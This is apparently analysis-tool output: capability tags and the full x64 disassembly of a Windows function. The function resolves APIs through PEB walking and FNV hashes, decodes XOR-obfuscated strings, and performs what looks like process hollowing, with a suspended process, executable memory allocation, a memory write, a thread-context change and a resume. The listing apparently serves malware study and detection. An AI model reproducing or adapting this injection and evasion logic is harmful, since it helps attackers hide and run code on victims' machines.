Function at 0x1400219e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rax, qword [0x14007e090]
xor rax, rsp
mov qword [rbp + 0x610], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp + 0x50], rax
xor r12d, r12d
movups xmmword [rbp + 0x30], xmm0
mov word [rbp + 0x30], r12w
movups xmmword [rbp], xmm0
mov dword [rbp - 0x10], 0x68
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x40], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021ac7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021ac7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021ac2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021aa0
cmp r8d, 0x4a7c0a09
je 0x140021acc
test r9d, r9d
jne 0x140021a80
mov rax, qword [rax]
jmp 0x140021a50
mov ecx, dword [rdi + 0x24]
movabs r14, 0xa971e50dccc93a05
add rcx, r10
mov qword [rbp + 0x5a0], r14
movabs rsi, 0x935689b4884a23c2
xor r8d, r8d
mov qword [rbp + 0x5a8], rsi
movdqa xmm0, xmmword [rbp + 0x5a0]
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xdb149762a0b94260
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
movabs rcx, 0x935689b4ed3246ec
add rax, r10
mov qword [rsp + 0x68], rcx
lea rcx, [rbp - 0x30]
pxor xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movdqa xmmword [rsp + 0x60], xmm0
call rax
test eax, eax
je 0x1400229e6
mov rax, qword gs:[0x60]
mov qword [rsp + 0x750], r13
mov qword [rsp + 0x758], r15
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140021c17
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140021c17
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021c12
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021bf0
cmp r8d, 0xe463da3c
je 0x140021c1c
test r9d, r9d
jne 0x140021bd0
mov rax, qword [rax]
jmp 0x140021ba0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov r15, rax
movabs r13, 0xa971e57fa3bb4860
test rax, rax
jne 0x140021e7c
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021cd7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021cd7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140021cd2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140021cb0
cmp r8d, 0x23a979e4
je 0x140021cdc
test r9d, r9d
jne 0x140021c90
mov rcx, qword [rcx]
jmp 0x140021c60
mov ecx, dword [rdi + 0x24]
lea r8, [rsp + 0x70]
add rcx, r10
mov qword [rbp + 0x5b0], r14
mov qword [rbp + 0x5b8], rsi
movdqa xmm0, xmmword [rbp + 0x5b0]
mov qword [rbp + 0x5c0], r14
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov qword [rbp + 0x5c8], rsi
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xdc158a60a4e9556b
mov qword [rbp - 0x80], rcx
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x70], r13
movabs rcx, 0x935689b4884a46ae
mov qword [rbp - 0x78], rcx
add rax, r10
mov qword [rsp + 0x78], rsi
xor ecx, ecx
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021df7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021df7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021df2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021dd0
cmp r8d, 0x23a979e4
je 0x140021dfc
test r9d, r9d
jne 0x140021db0
mov rax, qword [rax]
jmp 0x140021d80
mov ecx, dword [rdi + 0x24]
lea r8, [rbp - 0x70]
add rcx, r10
mov qword [rbp + 0x5d0], r14
mov qword [rbp + 0x5d8], rsi
movdqa xmm0, xmmword [rbp + 0x5d0]
mov qword [rbp + 0x5e0], r14
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov qword [rbp + 0x5e8], rsi
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xa9718d69a5e9556b
mov qword [rbp - 0x60], rcx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x70], r13
add rax, r10
mov qword [rbp - 0x68], rsi
xor ecx, ecx
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [rbp + 0x5e0]
mov qword [rbp - 0x58], rsi
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call rax
movsxd r14, dword [r15 + 0x3c]
add r14, r15
jne 0x140021fa6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021f17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021f17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021f12
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021ef0
cmp r8d, 0x23a979e4
je 0x140021f1c
test r9d, r9d
jne 0x140021ed0
mov rax, qword [rax]
jmp 0x140021ea0
mov ecx, dword [rdi + 0x24]
lea r8, [rbp - 0x50]
add rcx, r10
mov qword [rbp + 0x5f8], rsi
mov qword [rbp + 0x608], rsi
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xa971e50dccc93a05
mov qword [rbp + 0x5f0], rcx
lea rdx, [rbp - 0x40]
movdqa xmm0, xmmword [rbp + 0x5f0]
add rax, r10
mov qword [rbp + 0x600], rcx
movabs rcx, 0xa9718d63a5e9556b
mov qword [rbp - 0x40], rcx
xor ecx, ecx
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], rsi
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [rbp + 0x600]
mov qword [rbp - 0x38], rsi
pxor xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
call rax
cmp dword [r14], 0x4550
jne 0x140022840
mov eax, 0x20b
cmp ax, word [r14 + 0x18]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140022670
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022057
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022057
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022052
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140022030
cmp r8d, 0xaeb6049c
je 0x14002205c
test r9d, r9d
jne 0x140022010
mov rax, qword [rax]
jmp 0x140021fe0
mov ecx, dword [rdi + 0x24]
mov r8d, dword [r14 + 0x50]
add rcx, r10
mov dword [rsp + 0x20], 0x40
movzx edx, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rdx, r15
mov rcx, qword [rbp - 0x30]
add rax, r10
call rax
mov rsi, rax
test rax, rax
je 0x1400224d9
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022127
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022127
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140022122
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140022100
cmp r8d, 0xc0088eea
je 0x14002212c
test r9d, r9d
jne 0x1400220e0
mov rcx, qword [rcx]
jmp 0x1400220b0
mov ecx, dword [rdi + 0x24]
mov r8, r15
add rcx, r10
mov qword [rsp + 0x20], r12
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
mov r9d, dword [r14 + 0x50]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rdx, rsi
mov rcx, qword [rbp - 0x30]
add rax, r10
call rax
test eax, eax
je 0x14002239e
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x4d0
call fcn.14003b0e0
mov dword [rbp + 0x90], 0x10000b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022207
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022207
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022202
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400221e0
cmp r8d, 0x85cca27e
je 0x14002220c
test r9d, r9d
jne 0x1400221c0
mov rax, qword [rax]
jmp 0x140022190
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp - 0x28]
add rax, r10
call rax
lea rax, [0x140021770]
mov qword [rbp + 0x158], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400222c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400222c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400222c2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400222a0
cmp r8d, 0x6ed04712
je 0x1400222cc
test r9d, r9d
jne 0x140022280
mov rax, qword [rax]
jmp 0x140022250
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp - 0x28]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140022377
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140022377
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140022372
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140022350
cmp r8d, 0xbb21e02e
je 0x14002237c
test r9d, r9d
jne 0x140022330
mov rax, qword [rax]
jmp 0x140022300
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x28]
add rax, r10
call rax
jmp 0x1400229d6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022427
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022427
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022422
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140022400
cmp r8d, 0x23a979e4
je 0x14002242c
test r9d, r9d
jne 0x1400223e0
mov rax, qword [rax]
jmp 0x1400223b0
mov ecx, dword [rdi + 0x24]
lea r8, [rbp + 0x570]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0x935689b4884a23c2
mov qword [rbp + 0x578], rcx
movabs rdx, 0xa971e50dccc93a05
mov qword [rbp + 0x548], rcx
mov qword [rbp + 0x538], rcx
movabs rcx, 0xc518846bec846a52
mov qword [rsp + 0x50], rcx
movabs rcx, 0x935689b4884a47a7
mov qword [rbp + 0x540], rdx
movdqa xmm0, xmmword [rbp + 0x540]
mov qword [rbp + 0x570], r13
pxor xmm0, xmmword [rbp + 0x570]
mov qword [rbp + 0x530], rdx
lea rdx, [rsp + 0x50]
movdqa xmmword [rbp + 0x570], xmm0
movdqa xmm0, xmmword [rbp + 0x530]
mov qword [rsp + 0x58], rcx
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
jmp 0x1400229cc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022567
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022567
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022562
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140022540
cmp r8d, 0x23a979e4
je 0x14002256c
test r9d, r9d
jne 0x140022520
mov rax, qword [rax]
jmp 0x1400224f0
mov ecx, dword [rdi + 0x24]
lea r8, [rsp + 0x50]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0x935689b4884a23c2
mov qword [rsp + 0x58], rcx
movabs rdx, 0xa971e50dccc93a05
mov qword [rbp + 0x530], rdx
add rax, r10
mov qword [rbp + 0x570], rdx
movabs rdx, 0xca14977fa3aa546c
mov qword [rbp + 0x540], rdx
movabs rdx, 0xf625e8f6f82603b6
mov qword [rbp + 0x548], rdx
movabs rdx, 0x2d99e7f2a802efc6
mov qword [rbp + 0x538], rcx
movdqa xmm0, xmmword [rbp + 0x530]
mov qword [rbp + 0x578], rcx
movabs rcx, 0x2dea9497da668b87
mov qword [rbp + 0x550], rdx
lea rdx, [rbp + 0x540]
mov qword [rsp + 0x50], r13
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rbp + 0x580], rcx
movabs rcx, 0x9be088ae0f1cbdac
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0x540]
mov qword [rbp + 0x558], rcx
mov qword [rbp + 0x588], rcx
movdqa xmm1, xmmword [rbp + 0x580]
pxor xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x550], xmm1
movdqa xmmword [rbp + 0x540], xmm0
jmp 0x1400229cf
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400226e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400226e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400226e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400226c0
cmp r8d, 0x23a979e4
je 0x1400226ec
test r9d, r9d
jne 0x1400226a0
mov rax, qword [rax]
jmp 0x140022670
mov ecx, dword [rdi + 0x24]
movabs r8, 0xe8a3516040b383b6
add rcx, r10
mov qword [rbp + 0x598], r8
mov qword [rbp + 0x538], rsi
mov qword [rbp + 0x578], rsi
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xa971e50dccc93a05
mov qword [rbp + 0x530], rcx
movabs rdx, 0xca14977fa3aa546c
movdqa xmm0, xmmword [rbp + 0x530]
add rax, r10
mov qword [rbp + 0x570], rcx
movabs rcx, 0x2dea9497da668b87
mov qword [rbp + 0x580], rcx
movabs rcx, 0x9be088ae0f1cbdac
mov qword [rbp + 0x588], rcx
movabs rcx, 0x39e284c902fcc9c9
movdqa xmm1, xmmword [rbp + 0x580]
mov qword [rbp + 0x590], rcx
movabs rcx, 0xdc68a4dce62303b6
mov qword [rbp + 0x548], rcx
movabs rcx, 0x6586f5f9b50ffff7
mov qword [rbp + 0x550], rcx
movabs rcx, 0xfaada6dc6a78dcc9
mov qword [rbp + 0x540], rdx
lea rdx, [rbp + 0x540]
mov qword [rbp + 0x558], rcx
movabs rcx, 0x39e284c9029fa0ae
pxor xmm1, xmmword [rbp + 0x550]
mov qword [rbp + 0x568], r8
lea r8, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rsi
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmm0, xmmword [rbp + 0x590]
mov qword [rbp + 0x560], rcx
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm0
movdqa xmmword [rbp + 0x550], xmm1
jmp 0x1400229cf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400228d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400228d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400228d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400228b0
cmp r8d, 0x23a979e4
je 0x1400228dc
test r9d, r9d
jne 0x140022890
mov rax, qword [rax]
jmp 0x140022860
mov ecx, dword [rdi + 0x24]
lea r8, [rsp + 0x50]
add rcx, r10
mov qword [rbp + 0x538], rsi
mov qword [rbp + 0x578], rsi
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rcx, 0xa971e50dccc93a05
mov qword [rbp + 0x530], rcx
movabs rdx, 0xca14977fa3aa546c
movdqa xmm0, xmmword [rbp + 0x530]
mov qword [rbp + 0x540], rdx
movabs rdx, 0xc068a4dce62303b6
mov qword [rbp + 0x548], rdx
movabs rdx, 0x4898e1e3bb08ecee
mov qword [rbp + 0x570], rcx
movabs rcx, 0x2dea9497da668b87
mov qword [rbp + 0x550], rdx
lea rdx, [rbp + 0x540]
mov qword [rbp + 0x580], rcx
movabs rcx, 0x9be088ae0f1cbdac
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rsi
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0x540]
mov qword [rbp + 0x558], rcx
mov qword [rbp + 0x588], rcx
movdqa xmm1, xmmword [rbp + 0x580]
pxor xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmmword [rbp + 0x550], xmm1
add rax, r10
xor r9d, r9d
xor ecx, ecx
call rax
mov r13, qword [rsp + 0x750]
mov r15, qword [rsp + 0x758]
mov rcx, qword [rbp + 0x610]
xor rcx, rsp
call fcn.140038af0
mov rbx, qword [rsp + 0x760]
add rsp, 0x720
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret